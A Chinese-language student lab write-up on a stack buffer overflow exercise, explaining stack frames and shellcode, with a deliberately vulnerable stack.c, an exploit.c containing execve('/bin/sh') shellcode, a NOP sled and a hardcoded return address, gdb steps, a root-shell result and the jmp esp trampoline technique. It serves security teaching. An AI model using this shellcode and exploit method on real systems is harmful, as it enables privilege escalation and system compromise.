緩沖區溢出漏洞實驗
緩沖區溢出
緩沖區溢出是指程序試圖向緩沖區寫入超出預分配固定長度數據的情況。這一漏洞可以被惡意用戶利用來改變程序的流控制,甚至執行代碼的任意片段。這一漏洞的出現是由於數據緩沖器和返回地址的暫時關閉,溢出會引起返回地址被重寫

此外,為了進一步防范緩沖區溢出攻擊及其它利用 shell 程序的攻擊,許多shell程序在被調用時自動放棄它們的特權。因此,即使你能欺騙一個 Set-UID 程序調用一個 shell,也不能在這個 shell 中保持 root 權限,這個防護措施在 /bin/bash 中實現。
linux 系統中,/bin/sh 實際是指向 /bin/bash 或 /bin/dash 的一個符號鏈接。為了重現這一防護措施被實現之前的情形,我們使用另一個 shell 程序(zsh)代替 /bin/bash。下面的指令描述了如何設置 zsh 程序:

這里我才知道Tab可以補全qaq困惑了好久


、


GCC編譯器有一種棧保護機制來阻止緩沖區溢出,所以我們在編譯代碼時需要用 –fno-stack-protector 關閉這種機制。 而 -z execstack 用於允許執行棧。
-g 參數是為了使編譯后得到的可執行文檔能用 gdb 調試。


從邏輯上講進程的堆棧是由多個堆棧幀構成的,其中每個堆棧幀都對應一個函數調用。當函數調用發生時,新的堆棧幀被壓入堆棧;當函數返回時,相應的堆棧幀從堆棧中彈出。盡管堆棧幀結構的引入為在高級語言中實現函數或過程這樣的概念提供了直接的硬件支持,但是由於將函數返回地址這樣的重要數據保存在程序員可見的堆棧中,因此也給系統安全帶來了極大的隱患。
緩沖區溢出,簡單的說就是計算機對接收的輸入數據沒有進行有效的檢測(理想的情況是程序檢查數據長度並不允許輸入超過緩沖區長度的字符),向緩沖區內填充數據時超過了緩沖區本身的容量,而導致數據溢出到被分配空間之外的內存空間,使得溢出的數據覆蓋了其他內存空間的數據。
而緩沖區溢出中,最為危險的是堆棧溢出,因為入侵者可以利用堆棧溢出,在函數返回時改變返回程序的地址,讓其跳轉到任意地址,帶來的危害一種是程序崩潰導致拒絕服務,另外一種就是跳轉並且執行一段惡意代碼,比如得到shell,然后為所欲為。
由於棧是低地址方向增長的,因此局部數組buffer的指針在緩沖區的下方。當把data的數據拷貝到buffer內時,超過緩沖區區域的高地址部分數據會“淹沒”原本的其他棧幀數據,根據淹沒數據的內容不同,可能會有產生以下情況:
1、淹沒了其他的局部變量。如果被淹沒的局部變量是條件變量,那么可能會改變函數原本的執行流程。這種方式可以用於破解簡單的軟件驗證。
2、淹沒了ebp的值。修改了函數執行結束后要恢復的棧指針,將會導致棧幀失去平衡。
3、淹沒了返回地址。這是棧溢出原理的核心所在,通過淹沒的方式修改函數的返回地址,使程序代碼執行“意外”的流程!
4、淹沒參數變量。修改函數的參數變量也可能改變當前函數的執行結果和流程。
5、淹沒上級函數的棧幀,情況與上述4點類似,只不過影響的是上級函數的執行。當然這里的前提是保證函數能正常返回,即函數地址不能被隨意修改(這可能很麻煩!)。
shellcode介紹
shellcode實質是指溢出后執行的能開啟系統shell的代碼。但是在緩沖區溢出攻擊時,也可以將整個觸發緩沖區溢出攻擊過程的代碼統稱為shellcode,按照這種定義可以把shellcode分為四部分:
1、核心shellcode代碼,包含了攻擊者要執行的所有代碼。
2、溢出地址,是觸發shellcode的關鍵所在。
3、填充物,填充未使用的緩沖區,用於控制溢出地址的位置,一般使用nop指令填充——0x90表示。
4、結束符號0,對於符號串shellcode需要用0結尾,避免溢出時字符串異常。
shellcode.c在Linux下生成一個shell
#include <unistd.h>
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
_exit(0);
}
在shellcode.c中一共用到了兩個系統調用,分別是execve(2)和_exit(2)。查看/usr/include/asm/unistd.h文件可以得知,與其相應的系統調用號__NR_execve和__NR_exit分別為11和1。按照前面剛剛講過的系統調用規則,在Linux下生成一個shell並結束退出需要以下步驟:
在內存中存放一個以'\0'結束的字符串"/bin/sh";
將字符串"/bin/sh"的地址保存在內存中的某個機器字中,並且后面緊接一個值為0的機器字,這里相當於設置好了name[2]中的兩個指針;
將execve(2)的系統調用號11裝入eax寄存器;
將字符串"/bin/sh"的地址裝入ebx寄存器;
將設好的字符串"/bin/sh"的地址的地址裝入ecx寄存器;
將設好的值為0的機器字的地址裝入edx寄存器;
執行int $0x80,這里相當於調用execve(2);
將_exit(2)的系統調用號1裝入eax寄存器;
將退出碼0裝入ebx寄存器;
執行int $0x80,這里相當於調用_exit(2)。
漏洞程序
stack.c,保存到 /tmp 目錄下
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
攻擊程序
exploit.c,保存到 /tmp 目錄下
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
//獲得一個shell
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x94\xd0\xff\xff");// 地址為根據實驗結果算出的。
strcpy(buffer+100,shellcode);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
用以下命令得到shellcode在內存中的地址
GDB disassemble可以反匯編一個函數。
gdb stack
disass main
結果如圖:

如何確定緩沖區的起始地址與函數的返回地址所在的內存單元的距離。
對於stack.c,要確定的是buffer與保存起始地址的堆棧的距離。這需要通過gdb調試stack來確定。
如何組織buffer的內容,使溢出后能使程序執行注入的shellcode。這需要猜測buffer在內存中的起始地址,從而確定溢出后返回地址的具體值。
使用gdb設置斷點

根據語句 strcpy(buffer+100,shellcode); 計算shellcode的地址為 0xffffd030(十六進制)+100(十進制)=0xffffd094(十六進制)
編譯exploit.c程序:
gcc -m32 -o exploit exploit.c
先運行攻擊程序exploit,再運行漏洞程序stack。可以觀察攻擊結果。
用whoami命令驗證一下自己現在的身份。其實Linux繼承了UNIX的一個習慣,即普通用戶的命令提示符是以$開始的,而超級用戶的命令提示符是以#開始的。

可以看到身份已經是root了!由於在所有UNIX系統下黑客攻擊的最高目標就是對root權限的追求,因此可以說系統已經被攻破了。
此實驗關閉了系統的地址隨機化。
但實際的操作系統每次加載可執行文件到進程空間的位置都是無法預測的,因此棧的位置實際是不固定的,通過硬編碼覆蓋新返回地址的方式並不可靠。為了能准確定位shellcode的地址,需要借助一些額外的操作,其中最經典的是借助跳板的棧溢出方式。
如果我們在函數的返回地址填入一個地址,該地址指向的內存保存了一條特殊的指令jmp esp——跳板。那么函數返回后,會執行該指令並跳轉到esp所在的位置——即data的位置。我們可以將緩沖區再多溢出一部分,淹沒data這樣的函數參數,並在這里放上我們想要執行的代碼!這樣,不管程序被加載到哪個位置,最終都會回來執行棧內的代碼。
調整代碼是:
add esp,-X
jmp esp
第一條指令抬高了棧指針到shellcode之前。X代表shellcode起始地址與esp的偏移。如果shellcode從緩沖區起始位置開始,那么就是buffer的地址偏移。這里不使用sub esp,X指令主要是避免X的高位字節為0的問題,很多情況下緩沖區溢出是針對字符串緩沖區的,如果出現字節0會導致緩沖區截斷,從而導致溢出失敗。
第二條指令就是跳轉到shellcode的起始位置繼續執行。(又是jmp esp!)
通過上述方式便能獲得一個較為穩定的棧溢出攻擊。
